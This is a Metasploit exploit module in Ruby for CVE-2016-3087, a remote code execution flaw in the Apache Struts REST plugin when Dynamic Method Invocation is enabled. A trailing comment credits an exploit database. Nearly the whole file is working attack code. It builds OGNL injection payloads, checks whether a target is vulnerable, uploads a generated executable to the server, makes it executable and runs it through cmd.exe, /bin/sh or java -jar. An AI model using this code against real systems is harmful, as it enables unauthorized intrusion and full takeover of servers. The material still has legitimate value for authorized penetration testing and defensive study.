## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution', 'Description' => %q{ This module exploits a remote command execution vulnerability in Apache Struts version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code Execution can be performed when using REST Plugin with ! operator when Dynamic Method Invocation is enabled. }, 'Author' => [ 'Nixawk' # original metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2016-3087' ], [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ] ], 'Platform' => %w{ java linux win }, 'Privileged' => true, 'Targets' => [ ['Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], ['Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ] ], 'DisclosureDate' => 'Jun 01 2016', 'DefaultTarget' => 2)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']), OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil]) ], self.class) end def print_status(msg='') super("#{peer} - #{msg}") end def get_target_platform target.platform.platforms.first end def temp_path @TMPPATH ||= lambda { path = datastore['TMPPATH'] return nil unless path case get_target_platform when Msf::Module::Platform::Windows slash = '' when slash = '/' else end unless path.end_with?('/') path << '/' end return path }.call end def send_http_request(payload, params_hash) uri = normalize_uri(datastore['TARGETURI']) uri = "#{uri}/#{payload}" resp = send_request_cgi( 'uri' => uri, 'version' => '1.1', 'method' => 'POST', 'vars_post' => params_hash ) if resp && resp.code == 404 fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') end resp end def generate_rce_payload(code) payload = "" payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS") payload << "," payload << Rex::Text.uri_encode(code) payload << "," payload << Rex::Text.uri_encode("#xx.toString.json") payload << "?" payload << Rex::Text.uri_encode("#xx:#request.toString") payload end def upload_exec(cmd, filename, content) var_a = rand_text_alpha_lower(4) var_b = rand_text_alpha_lower(4) var_c = rand_text_alpha_lower(4) var_d = rand_text_alpha_lower(4) var_e = rand_text_alpha_lower(4) var_f = rand_text_alpha_lower(4) code = "##{var_a}=new sun.misc.BASE64Decoder()," code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0])))," code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close()," code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true)," code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))" payload = generate_rce_payload(code) params_hash = { var_d => Rex::Text.encode_base64(cmd), var_e => Rex::Text.encode_base64(filename), var_f => content } send_http_request(payload, params_hash) end def check var_a = rand_text_alpha_lower(4) var_b = rand_text_alpha_lower(4) addend_one = rand_text_numeric(rand(3) + 1).to_i addend_two = rand_text_numeric(rand(3) + 1).to_i sum = addend_one + addend_two flag = Rex::Text.rand_text_alpha(5) code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," code << "##{var_a}.print(#parameters.#{var_b}[0])," code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two}))," code << "##{var_a}.print(#parameters.#{var_b}[0])," code << "##{var_a}.close()" payload = generate_rce_payload(code) params_hash = { var_b => flag } begin resp = send_http_request(payload, params_hash) rescue Msf::Exploit::Failed return Exploit::CheckCode::Unknown end if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}") Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit payload_exe = rand_text_alphanumeric(4 + rand(4)) case target['Platform'] when 'java' payload_exe = "#{temp_path}#{payload_exe}.jar" pl_exe = payload.encoded_jar.pack command = "java -jar #{payload_exe}" when 'linux' path = datastore['TMPPATH'] || '/tmp/' pl_exe = generate_payload_exe payload_exe = "#{path}#{payload_exe}" command = "/bin/sh -c #{payload_exe}" when 'win' path = temp_path || '.' pl_exe = generate_payload_exe payload_exe = "#{path}#{payload_exe}.exe" command = "cmd.exe /c #{payload_exe}" else fail_with(Failure::NoTarget, 'Unsupported target platform!') end pl_content = pl_exe.unpack('H*').join() print_status("Uploading exploit to #{payload_exe}, and executing it.") upload_exec(command, payload_exe, pl_content) handler end end # Iranian Exploit DataBase = http://IeDb.Ir [2016-06-24]